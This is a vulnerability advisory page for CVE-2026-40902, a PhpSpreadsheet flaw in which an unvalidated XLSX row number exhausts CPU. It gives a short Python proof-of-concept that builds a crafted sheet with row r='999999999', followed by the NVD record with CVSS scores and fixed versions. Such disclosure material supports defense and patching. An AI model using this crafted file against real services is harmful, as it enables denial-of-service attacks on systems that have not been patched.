CVE-2026-40902

import zipfile import os # Create a malicious Excel file structure xml_content = b"""<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="999999999"> <c r="A1"><v>1</v></c> </row> </sheetData> </worksheet>""" # Note: This is a simplified PoC snippet showing the XML payload. # To create a valid .xlsx for testing, one would need to package this # inside a zip file with the correct directory structure (xl/worksheets/sheet1.xml) # along with [Content_Types].xml and other required relationships. # Example Python script to generate the PoC file: with zipfile.ZipFile('poc_exploit.xlsx', 'w') as z: z.writestr('xl/worksheets/sheet1.xml', xml_content) # Additional files needed for a valid XLSX would go here print('PoC file generated: poc_exploit.xlsx')

{"cve": {"id": "CVE-2026-40902", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:33.923", "lastModified": "2026-05-14T14:50:17.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r=\"999999999\"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.30.4", "matchCriteriaId": "21F2C6F6-C903-4A65-BCB4-4549FE752ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.16", "matchCriteriaId": "E27B01CE-562C-4746-A7F5-E402B25F0B47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.4.5", "matchCriteriaId": "46FF2D5E-816F-481B-AA45-41BA6EDCFEA0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.10.5", "matchCriteriaId": "DF58DF5C-8F1B-4B1B-80A0-001B47751D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.7.0", "matchCriteriaId": "DD7DEDE3-C624-4524-9B08-08B92F28C40C"}]}]}], "references": [{"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}